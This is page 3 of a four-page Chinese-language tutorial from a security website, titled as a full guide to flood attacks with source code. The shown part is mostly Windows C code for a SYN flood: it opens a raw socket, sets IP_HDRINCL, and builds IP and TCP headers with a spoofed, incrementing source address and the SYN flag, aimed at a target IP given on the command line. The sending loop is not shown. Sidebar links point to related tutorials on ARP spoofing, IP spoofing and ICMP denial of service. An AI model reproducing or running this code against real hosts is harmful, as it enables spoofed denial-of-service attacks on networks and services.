网络安全参考 | UNIX参考 | GPS参考 | 无线参考 | 在线手册 | OSBUG.ORG | SUNNY-NETWORK.COM
网站地图 RSS订阅
高级搜索 收藏本站
Home | 业界动态 | 防火墙 | IDS/IPS | VPN | PKI | Honeypot | Hacker/Intruder | 黑客技术 | 破解技术 | 加密技术 | 病毒防护 | 木马 | 反垃圾邮件 | 反流氓软件 | 漏洞 | 无线安全 | UNIX | Windows | 安全编程 | 安全软件 | TPM/TCG | 数据恢复 | 企业信息安全 | 个人信息安全
 当前位置: Home > 安全编程 > 网络编程 > 文章  
洪水攻击原理及代码实现全攻略(附源代码)
文章来源: 天极开发 文章作者: 极地圣火 发布时间: 2006-11-16   字体: [ ]
 

 // 如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
 if(argc < 2)
  strcpy(DestIP, SYN_DEST_IP);
 else
  strcpy(DestIP, argv[1]);
  // 以下是声明Socket变量和相应的数据结构
 WSADATA wsaData;
 SOCKET SockRaw=(SOCKET)NULL;
 struct sockaddr_in DestAddr;
 IP_HEADER ip_header;
 TCP_HEADER tcp_header;
 … …
}

  下一步就是初始化Raw Socket

//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本
{
 fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
 ExitProcess(STATUS_FAILED);
} SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息
{
 fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
 ExitProcess(STATUS_FAILED);
}

  第二步就是填充刚才定义的那些数据结构

//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n");
__try{
 //设置发送超时

 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
 if(ErrorCode==SOCKET_ERROR)
 {
  fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
  __leave;
 }
 memset(&DestAddr,0,sizeof(DestAddr));
 DestAddr.sin_family=AF_INET;
 DestAddr.sin_addr.s_addr=inet_addr(DestIP);
 FakeIpNet=inet_addr(FAKE_IP);
 FakeIpHost=ntohl(FakeIpNet);
 //填充IP首部
 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
 //高四位IP版本号,低四位首部长度
 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
 ip_header.ident=1; //16位标识
 ip_header.frag_and_flags=0; //3位标志位
 ip_header.ttl=128; //8位生存时间TTL
 ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)
 ip_header.checksum=0;//16位IP首部校验和
 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址
 //填充TCP首部
 tcp_header.th_sport=htons(7000);//源端口号
 tcp_header.th_dport=htons(8080);//目的端口号
 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
 tcp_header.th_ack=0; //ACK序列号置为0
 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位
 tcp_header.th_flag=2; //SYN 标志
 tcp_header.th_win=htons(16384); //窗口大小
 tcp_header.th_urp=0; //偏移
 tcp_header.th_sum=0; //校验和

 
推荐文章
·原始套接字透析之综合实例:网络
·原始套接字透析之实现IP地址欺骗
·原始套接字透析之ARP欺骗
·原始套接字透析之实现包分析
·原始套接字透析之实现sniffer
·原始套接字透析之实现路由欺骗
·原始套接字透析之ICMP拒绝服务攻
·原始套接字透析之实现Ping
·原始套接字透析之Raw Socket基础
·黑客之旅 -- 原始套接字透析之前
 

 
共4页: 上一页 [1] [2] 3 [4] 下一页
↑返回顶部   打印本页   关闭窗口↓  

Google
 
Web oldhand.org unixreference.net meshmea.org
热点文章
·原始套接字透析之Raw So
·原始套接字透析之ARP欺
·原始套接字透析之综合实
·原始套接字透析之实现Pi
·黑客之旅 -- 原始套接字
·原始套接字透析之实现路
·原始套接字透析之实现包
·原始套接字透析之ICMP拒
相关分类
相关文章
·原始套接字透析之综合实
·原始套接字透析之实现IP
·原始套接字透析之ARP欺
·原始套接字透析之实现包
·原始套接字透析之实现sn
·原始套接字透析之实现路
·原始套接字透析之ICMP拒
·原始套接字透析之实现Pi
更多...
 
 

Copyright(c) 2001-2008 OLDHAND ORGANIZATION, All Rights reserved.
Power by DedeCms 织梦内容管理系统
$Id: article_article.html,v 1.3 2007/02/10 12:00:37 yjs Exp $